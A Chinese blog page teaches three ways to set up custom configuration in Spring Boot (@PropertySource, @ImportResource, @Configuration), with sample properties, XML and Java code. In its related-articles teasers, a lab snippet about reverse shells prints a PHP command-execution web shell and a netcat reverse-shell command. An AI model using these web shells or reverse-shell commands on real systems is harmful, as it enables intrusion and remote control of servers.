当前位置: 首页 > news >正文

08 SpringBoot 自定定义配置

SpringBoot自定义配置有三种方式:

使用@PropertySource进行自定义配置
使用@ImportResource进行自定义配置
使用@Configuration进行自定义配置

@PropertySource

​ 如果将所有的配置都集中到 application.properties 或 application.yml 中,那么这个配置文件会十分的臃肿且难以维护,因此我们通常会将与 Spring Boot 无关的配置(例如自定义配置)提取出来,写在一个单独的配置文件中,并在对应的 JavaBean 上使用 @PropertySource 注解指向该配置文件。

步骤一:

以 DemoApplication为例,将与 user’ 相关的自定义配置移动到 src/main/resources 下的 user.properties 中

注意,必须把 application.properties 或 application.yml 中的相关配置删除

如下图
image-20221012142956929

person.properties 的配置如下

user.id=30
user.name="Administrator"
user.sex="man"
user.age=32
user.salary=33000.45
user.address="cehngdushi"
user.jobName="教师"
user.hibernate=2022/09/26#对数组books赋值
user.books[0].name=bigdata
user.books[0].price=32.62d
user.books[1].name=python
user.books[1].price=102.62d#对数组names赋值
user.names[0]="jianghuan"
user.names[1]="xiangjie"
user.names[2]="taoshi"#students中的key-value表示学生姓名和学号
user.students.key1=2020120014
user.students.key2=2020120015
user.students.key3=2020120016
user.students.key4=2020120017

步骤二:

在 User 使用 @PropertySource 注解指向 user.properties,代码如下。

创建Book实体
public class Book {private String name;private Double price;.... 此处省略有参无参构造函数 及 setter、getter方法和toString方法
}创建User实体类
/**
* 将配置文件中配置的每一个属性的值,映射到这个组件中
*
* @ConfigurationProperties:告诉 SpringBoot 将本类中的所有属性和配置文件中相关的配置进行绑定;
* prefix = "person":配置文件中哪个下面的所有属性进行一一映射
*
* 只有这个组件是容器中的组件,才能使用容器提供的@ConfigurationProperties功能;
*/@Component
@PropertySource("classpath:user.properties") //指向对应的配置文件
@ConfigurationProperties(prefix = "user") // 使用user.properties中的进行注入
public class User {private String id;private String name;private String sex;private Integer age;private Double salary;private String address;private Date hibernate;private Book[] books;private List<String> names;private Map<String,Integer> students; //students中的key-value表示学生姓名和学号.... 此处省略有参无参构造函数 及 setter、getter方法和toString方法}

注意:

  • @PropertySource()可以同时支持多个配置文件用逗号隔开,例如@PropertySource(locations={“classpath:user.properties”,“classpath:emp.properties”})

步骤三:

重启主启动类,在 DemoApplication 项目的 主启动类 中获取IOC容器,从IOC容器中获取Userbean,通过打印userbean展示配置文件中各个属性值。

@SpringBootApplication
public class DemoApplication {public static void main(String[] args) {//1、返回IOC容器ConfigurableApplicationContext run = SpringApplication.run(DemoApplication.class, args);//2、查看容器中的组件User user = run.getBean(User.class);System.out.println(user);}
}

步骤四:

查看运行结果

image-20221012143057098

默认情况下,Spring Boot 中是不包含任何的 Spring 配置文件的,即使我们手动添加 Spring 配置文件到项目中,也不会被识别。那么 Spring Boot 项目中真的就无法导入 Spring 配置吗?答案是否定的。

Spring Boot 为了我们提供了以下 2 种方式来导入 Spring 配置:

  • 使用 @ImportResource 注解加载 Spring 配置文件
  • 使用全注解方式加载 Spring 配置

@ImportResource

如有是使用springboot项目来重构以前用SSM开发的项目,并且不想重写原有的实体类或者其他类及其spring的配置文件,此时可以使用注解**@ImportResource**导入spring的配置文件,让配置文件生效。

步骤一:

在 DemoApplication 项目的 com.example.demo.bean 中创建一个名为 User 的实体类,代码如下:

创建Book实体
public class Book {private String name;private Double price;.... 此处省略有参无参构造函数 及 setter、getter方法和toString方法
}创建User实体类
public class User {private String id;private String name;private String sex;private Integer age;private Double salary;private String address;private Date hibernate;private Book[] books;private List<String> names;private String jobName;private Map<String,Integer> students; //students中的key-value表示学生姓名和学号.... 此处省略有参无参构造函数 及 setter、getter方法和toString方法}

步骤二:

在该项目的 resources 下添加一个名为 beans.xml 的 Spring 配置文件,使用标签创建Book和User实体类对象和值的注入,配置代码如下。

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:context="http://www.springframework.org/schema/context"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd"><!--     使用bean标签创建日期对象--><bean id="date" class="java.util.Date"></bean><!--     使用bean标签创建三个book对象,并注入值--><bean id="book1" class="com.example.demo.bean.Book"><property name="name" value="bigdata"></property><property name="price" value="32.62"></property></bean><bean id="book2" class="com.example.demo.bean.Book"><property name="name" value="java"></property><property name="price" value="72.62"></property></bean><bean id="book3" class="com.example.demo.bean.Book"><property name="name" value="python"></property><property name="price" value="102.62"></property></bean><!--     使用bean标签创建user对象,并注入值--><bean id="user" class="com.example.demo.bean.User" ><property name="id" value="30"></property><property name="name" value="Administrator"></property><property name="sex" value="chuntian"></property><property name="age" value="32"></property><property name="salary" value="33000.45"></property><property name="address" value="cehngdushi"></property><property name="jobName" value="教师"></property><property name="hibernate" ref="date"></property><property name="books" ><array><ref bean="book1"/><ref bean="book2"/><ref bean="book3"/></array></property><property name="names"><list><value>"jianghuan"</value><value>"xiangjie"</value><value>"taoshi"</value></list></property><property name="students"><map><entry key="key1" value="2020120014"/><entry key="key2" value="2020120015"/><entry key="key3" value="2020120016"/><entry key="key4" value="2020120017"/></map></property></bean></beans>

步骤三:

在主启动程序类上使用 @ImportResource 注解,将 Spring 配置文件 beans.xml 加载到项目中,代码如下

@SpringBootApplication
@ImportResource(locations = {"classpath:beans.xml"})
public class DemoApplication {public static void main(String[] args) {//1、返回IOC容器ConfigurableApplicationContext run = SpringApplication.run(DemoApplication.class, args);boolean bl = run.containsBean("user"); //在bean.xml中配置的bean的id值为user的if (bl) {System.out.println("user 已经添加到 IOC 容器中");} else {System.out.println("user 没添加到 IOC 容器中");}//2、查看容器中的组件User user = run.getBean(User.class);System.out.println(user);}
}

步骤四:

启动主启动类,运行结果如下:image-20221012143911843

@Configuration

全注解方式加载 Spring 配置
如有是使用springboot项目来重构以前用SSM开发的项目,并且不想重写原有的实体类或者其他类及其spring的配置文件,此时可以使用注解@ImportResource导入spring的配置文件,让配置文件生效。

@Configuration底层代码

@Target({ElementType.TYPE})
@Retention(RetentionPolicy.RUNTIME)
@Documented
@Component
public @interface Configuration {@AliasFor(annotation = Component.class)String value() default "";boolean proxyBeanMethods() default true;
}

@Configuration是配置类注解,是spring的底层注解;从@Component可以看出配置类也是一个组件;这个注解@Configuration用在类上,表示告诉spring这个类是配置类===spring配置文件。

Spring Boot 推荐我们使用@Configuration全注解的方式加载 Spring 配置,其实现方式如下:

  1. 使用 @Configuration 注解定义配置类,替换 Spring 的配置文件;
  2. 配置类内部可以包含有一个或多个被 @Bean 注解的方法,这些方法会被 AnnotationConfigApplicationContext 或 AnnotationConfigWebApplicationContext 类扫描,构建 bean 定义(相当于 Spring 配置文件中的标签),方法的返回值会以组件的形式添加到容器中,组件的 id 就是方法名。

步骤一:

在 DemoApplication 项目的 com.example.demo.service中创建一个名为 MyService的服务类,代码如下:

//创建MyService 
public class MyService {
}

步骤二:

在 com.example.demo.config 包下添加一个名为 DemoConfig 的配置类,并在类上使用注解@Configuration,代码如下。

@Configuration // 告诉spring这是一个配置类 ==  spring配置文件
public class DemoConfig {@Bean // 给容器中添加组件,以方法名为组件id,返回的值就是组件public MyService  myService(){return new MyService();}
}

上述代码等价与在xml中配置bean标签

<bean id="user" class="com.example.demo.servvice.MyService"></bean>

关于@configuration注解的解释:

1.@Configuration 注解用于定义一个配置类,相当于 Spring 的配置文件

2.配置类中包含一个或多个被 @Bean 注解的方法,该方法相当于 Spring 配置文件中的 标签定义的组件

3.@Bean等价spring配置文件中 标签

4.myService()方法的返回值以组件的形式添加到容器中

5.方法名myService()是组件 id(相当于 标签的属性 id)

步骤三:

在主启动程序类上代码如下。

@SpringBootApplication
public class DemoApplication {public static void main(String[] args) {//1、返回IOC容器ConfigurableApplicationContext run = SpringApplication.run(DemoApplication.class, args);boolean bl = run.containsBean("myService"); //配置类中@Bean标注的方法名if (bl) {System.out.println("myService 已经添加到 IOC 容器中");} else {System.out.println("myService 没添加到 IOC 容器中");}//2、查看容器中的组件MyService myService= run.getBean(MyService .class);System.out.println(myService);}
}

步骤四:

启动主启动类,运行结果如下:

image-20221012144758184

相关文章:

08 SpringBoot 自定定义配置

SpringBoot自定义配置有三种方式&#xff1a; 使用PropertySource进行自定义配置 使用ImportResource进行自定义配置 使用Configuration进行自定义配置 PropertySource ​ 如果将所有的配置都集中到 application.properties 或 application.yml 中&#xff0c;那么这个配置文…...

Java之3DES(Triple DES)加密计算(DESede/ECB/ZeroPadding)

Java环境本身并不直接支持DESede/ECB/ZeroPadding。 不过&#xff0c;可以通过以下几种方式来实现DESede/ECB/ZeroPadding&#xff1a; 手动实现填充和去除填充&#xff1a;如前面示例代码所示&#xff0c;在加密之前进行填充&#xff0c;在解密之后去除填充。这是一个通用的方…...

从0开发一个Chrome插件:项目实战——广告拦截插件

前言 这是《从0开发一个Chrome插件》系列的第十七篇文章,本系列教你如何从0去开发一个Chrome插件,每篇文章都会好好打磨,写清楚我在开发过程遇到的问题,还有开发经验和技巧。 专栏: 从0开发一个Chrome插件:什么是Chrome插件?从0开发一个Chrome插件:开发Chrome插件的必…...

C++ 32 之 静态成员函数

#include <iostream> #include <string> using namespace std;// 特点: // 1.在编译阶段就分配了内存空间 // 2.类内声明&#xff0c;在类外进行初始化 // 3.所有对象共享一份静态成员数据 class Students02{ public:int s_c;static int s_d;// 静态成员函数&#…...

Python闯LeetCode--第1题:两数之和

Problem: 1. 两数之和 文章目录 思路解题方法复杂度Code 思路 看到这道题第一思路就是暴力破解&#xff0c;枚举&#xff0c;两个for循环遍历&#xff0c;直到找到满足要求的答案。主要因题目假设只有一组满足结果的答案&#xff0c;因此难度大大降低&#xff0c;作为第一道题&…...

SSM情侣购物系统-计算机毕业设计源码02387

目 录 摘要 1 绪论 1.1 开发背景与意义 1.2开发意义 1.3Vue.js 主要功能 1.3论文结构与章节安排 2 情侣购物系统系统分析 2.1 可行性分析 2.2 系统流程分析 2.2.1 数据流程 3.3.2 业务流程 2.3 系统功能分析 2.3.1 功能性分析 2.3.2 非功能性分析 2.4 系统用例分…...

09-Spark架构

相比MapReduce僵化的Map与Reduce分阶段计算&#xff0c;Spark计算框架更有弹性和灵活性&#xff0c;运行性能更佳。 1 Spark的计算阶段 MapReduce一个应用一次只运行一个map和一个reduceSpark可根据应用复杂度&#xff0c;分割成更多的计算阶段&#xff08;stage&#xff09;…...

挑战5分钟内基于Springboot+SpringMVC+Mybatis-plus快速构建web后端三层架构

目标 在清晨的代码编辑器上&#xff0c;一场新的挑战即将开始。程序员们肃立于安静的办公室&#xff0c;眼神专注地盯着屏幕&#xff0c;等待着编译器的一声提示。 随着编译器输出的激动人心的"start!"的提示&#xff0c;战斗的序幕拉开了。Bug如潮水般涌来&#x…...

浅谈JavaScript中的作用域

前言 今天就来简单聊聊JavaScript中的作用域吧&#xff01;&#xff01;&#xff01; 正文 我们都知道&#xff0c;在任何一门编程语言里面都是有作用域这个概念的&#xff0c;不然岂不乱套了 在js中的作用域一共分为三种&#xff0c;全局域、函数域和块级作用域 全局域 全…...

Python | C++漂移扩散方程和无风险套利公式算法微分

&#x1f3af;要点 &#x1f3af;漂移扩散方程计算微分 | &#x1f3af;期权无风险套利公式计算微分 | &#x1f3af;实现图结构算法微分 | &#x1f3af;实现简单正向和反向计算微分 | &#x1f3af;实现简单回归分类和生成对抗网络计算微分 | &#x1f3af;几何网格计算微分…...

python如何对list求和

如何在Python中对多个list的对应元素求和&#xff0c;前提是每个list的长度一样。比如&#xff1a;a[1&#xff0c;2&#xff0c;3]&#xff0c;b[2&#xff0c;3&#xff0c;4]&#xff0c;c[3&#xff0c;4&#xff0c;5]&#xff0c;对a&#xff0c;b&#xff0c;c的对应元素…...

如何解决mfc100u.dll丢失问题,关于mfc100u.dll丢失的多种解决方法

在计算机使用过程中&#xff0c;我们常常会遇到一些错误提示&#xff0c;其中之一就是“计算显示缺失mfc100u.dll”。这个问题可能会影响到我们的正常使用&#xff0c;因此了解它的原因、表现以及解决方法是非常重要的。小编将详细介绍计算显示缺失mfc100u.dll的问题&#xff0…...

算法day32

第一题 207. 课程表 步骤一&#xff1a; 通过下图的课程数组,首先画出DAG图&#xff08;有向无环图&#xff09; 步骤二&#xff1a; 其次我们按照DAG图&#xff0c;来构建该图的拓扑排序&#xff0c;等有效的点都按照规则排完序后&#xff0c;观察是否有剩下的点的入度不为0&…...

【QT】信号与槽

目录 概述 Q_OBJECT 自定义信号 自定义槽 带参数的信号和槽 信号与槽断开 定义槽函数时&#xff0c;使用lambda表达式 概述 所谓的信号槽&#xff0c;要解决的问题&#xff0c;就是响应用户的操作&#xff0c;这是QT与其他GUI开发框架比较不同的地方。其他的GUI开发框…...

【Java】解决Java报错:IllegalArgumentException

文章目录 引言1. 错误详解2. 常见的出错场景2.1 非法的参数值2.2 空值或 null 参数2.3 非法的数组索引 3. 解决方案3.1 参数验证3.2 使用自定义异常3.3 使用Java标准库中的 Objects 类 4. 预防措施4.1 编写防御性代码4.2 使用注解和检查工具4.3 单元测试 结语 引言 在Java编程…...

完美的移动端 UI 风格让客户无可挑剔

完美的移动端 UI 风格让客户无可挑剔...

【React】在 React 组件中,怎么使用useContext

在React中,useContext 是一个Hook,它允许你无需显式地通过组件树的每一层来传递 props,就能将值深入到组件树的任何位置。要使用 useContext,你需要先创建一个 Context 对象,然后使用这个对象提供的 Provider 组件来包裹你的应用中的一部分。然后,任何在这个 Provider 下…...

【数据结构】栈的应用

目录 0 引言 1 栈在括号匹配中的应用 2 栈在表达式求值中的应用 2.1 算数表达式 2.2 中缀表达式转后缀表达式 2.3 后缀表达式求值 3 栈在递归中的应用 3.1 栈在函数调用中的作用 3.2 栈在函数调用中的工作原理 4 总结 0 引言 栈&#xff08;Stack&#xff09;是一…...

Opencv基本操作

Opencv基本操作 导入并使用opencv进行图像与视频的基本处理 opencv读取的格式是BGR import cv2 #opencv读取的格式是BGR import numpy import matplotlib.pyplot as plt %matplotlib inline图像读取 通过cv2.imread()来加载指定位置的图像信息。 img cv2.imread(./res/ca…...

2779. 数组的最大美丽值

简单翻译一下题目意思&#xff1a; 对于每个 nums[i] 都可以被替换成 [nums[i]-k, nums[i]k] 区间中的任何数&#xff0c;区间左右是闭的。在每个数字可以替换的前提下&#xff0c;返回数组中最多的重复数字的数量。 第一想法是用一个哈希表&#xff0c;Key 是可以被替换的数…...

数据库修复实例(航线修复)

修复目标 修复回音群岛 (Echo Isles) 到 赞达拉港 (Port of Zandalar) 的航线 SET TRANSPORT_GUID : 32; SET TRANSPORT_ENTRY : 272677; SET CGUID : 850000;-- Adjust transports DELETE FROM transports WHERE guid TRANSPORT_GUID; INSERT INTO transports (guid, entry…...

视频网站下载利器yt-dlp参数详解

yt-dlp 是一个强大的命令行工具&#xff0c;用来下载 YouTube 和其他网站上的视频和音频。它拥有丰富的参数&#xff0c;可以定制下载行为&#xff0c;满足各种需求。本文将详细介绍 yt-dlp 的参数使用。 一、基本参数 -f, –format FORMAT: 指定下载格式&#xff0c;可以用视…...

可解析PHP的反弹shell方法

这里拿vulnhub-DC-8靶场反弹shell&#xff0c;详情见Vulnhub-DC-8 命令执行 拿nc举例 <?php echo system($_POST[cmd]); ?>利用是hackbar&#xff0c;POST提交cmdnc -e /bin/sh 192.168.20.128 6666, 直接反弹shell到kali。 一句话木马 <?php eval($_POST[&qu…...

AMSR-MODIS 边界层水汽 L3 每日 1 度 x 1 度 V1、V2 版本数据集

AMSR-MODIS Boundary Layer Water Vapor L3 Daily 1 degree x 1 degree V1 (AMDBLWV) at GES DISC AMSR-MODIS Boundary Layer Water Vapor L3 Daily 1 degree x 1 degree V2 (AMDBLWV) at GES DISC 简介 该数据集可估算均匀云层下的海洋边界层水汽。AMSR-E 和 AMSR-2 的微波…...

Oracle备份失败处理,看这一篇就够了!

作者&#xff1a;IT邦德 中国DBA联盟(ACDU)成员&#xff0c;10余年DBA工作经验&#xff0c; Oracle、PostgreSQL ACE CSDN博客专家及B站知名UP主&#xff0c;全网粉丝10万 擅长主流Oracle、MySQL、PG、高斯及Greenplum备份恢复&#xff0c; 安装迁移&#xff0c;性能优化、故障…...

后端中缓存的作用以及基于Spring框架演示实现缓存

缓存的作用及演示 现在我们使用的程序都是通过去数据库里拿数据然后展示的 长期对数据库进行数据访问 这样数据库的压力会越来越大 数据库扛不住了 创建了一个新的区域 程序访问去缓存 缓存区数据库 缓存里放数据 有效降低数据访问的压力 我们首先进行一个演示 为了演示…...

Python:基础爬虫

Python爬虫学习&#xff08;网络爬虫&#xff08;又称为网页蜘蛛&#xff0c;网络机器人&#xff0c;在FOAF社区中间&#xff0c;更经常的称为网页追逐者&#xff09;&#xff0c;是一种按照一定的规则&#xff0c;自动地抓取万维网信息的程序或者脚本。另外一些不常使用的名字…...

机器人运动学笔记

一、建模 参考资料&#xff1a;https://zhuanlan.zhihu.com/p/137960186 1、三维模型和连杆、关节定义 2、设置z轴 SDH和MDH会不一样&#xff0c;主要的区别在于SDH中坐标系在连杆末端&#xff0c;MDH中坐标系在连杆首端。虽然这里只是给出z轴&#xff0c;但是由于后面原点位…...

webshell三巨头 综合分析(蚁剑,冰蝎,哥斯拉)

考点: 蚁剑,冰蝎,哥斯拉流量解密 存在3个shell 过滤器 http.request.full_uri contains "shell1.php" or http.response_for.uri contains "shell1.php" POST请求存在明文传输 ant 一般蚁剑执行命令 用垃圾字符在最开头填充 去掉垃圾字符直到可以正常bas…...

stm32MP135裸机编程:启动流程分析

0 参考资料 轻松使用STM32MP13x - 如MCU般在cortex A核上裸跑应用程序.pdf STM32MP135AD数据手册.pdf1 stm32MP135裸机启动流程分析 1.1 启动方式 stm32MP135支持8种启动方式&#xff1a; 注&#xff1a; UART和USB启动并不是指通过UART/USB加载程序&#xff0c;而是通过UA…...

从零学建设网站018马经/分享推广

1 &#xff0c;BLE就是低功率蓝牙。要着重了解两种设备&#xff1a; 1&#xff0c;dual-mode双模设备&#xff1a;简单说就是向下兼容。2&#xff0c;single-mode单模设备&#xff1a;仅仅支持BLE。关于开发主要讲的是单模设备&#xff0c;它可以只靠纽扣电池即可持续工作。2&a…...

站外推广内容策划/东莞营销推广公司

最近公司要用weex了&#xff0c;先开始搭一下环境&#xff0c;真的都是坑&#xff0c;写下来大家引以为鉴&#xff0c;我踩坑三天的后果。 首先要安装JavaJDK这个过程就不写了都是程序员网上搜索一下很多&#xff0c;注意找论坛上最新的帖子来看&#xff0c;这里有一个坑&#…...

百度收录网站需要多久/东莞优化网站制作

一、LRU算法 最近&&最少使用置换算法&#xff0c;是缓存算法的一种&#xff0c;常用缓存算法有&#xff1a; FIFO&#xff08;先进先出&#xff09;LFU&#xff1a;LFU&#xff08;Least Frequently Used&#xff09;&#xff0c;即最近经常使用算法&#xff0c;算法…...

帮人做推广的网站/推广赚钱平台

ubuntu18.04.4源仓库中MySQL的默认版本是5.7&#xff0c;因此可以直接安装 1、更新源并安装 sudo apt-get update #更新源sudo apt-get install mysql-server #安装2、验证安装是否成功 systemctl status mysql3、root用户登录&#xff0c;不需要密码...

做收费类网站站长/一站式推广平台

来源&#xff1a;Lin_R 链接&#xff1a;https://segmentfault.com/a/1190000020956724背景我们负责的一个业务平台&#xff0c;有次在发现设置页面的加载特别特别地慢&#xff0c;简直就是令人发指让用户等待 36s 肯定是不可能的&#xff0c;于是我们就要开启优化之旅了。投…...

高校网站建设 网站群/搜索引擎优化的主要策略

(1).介绍turtle库也叫海龟库&#xff0c;是turtle绘图体系的Python实现。turtle库是Python语言的标准库之一&#xff0c;是入门级的图形绘制函数库。turtle绘图体系&#xff1a;也叫海龟绘图系统&#xff0c;它是在1969年诞生&#xff0c;主要用于程序设计入门的一种绘图方式。…...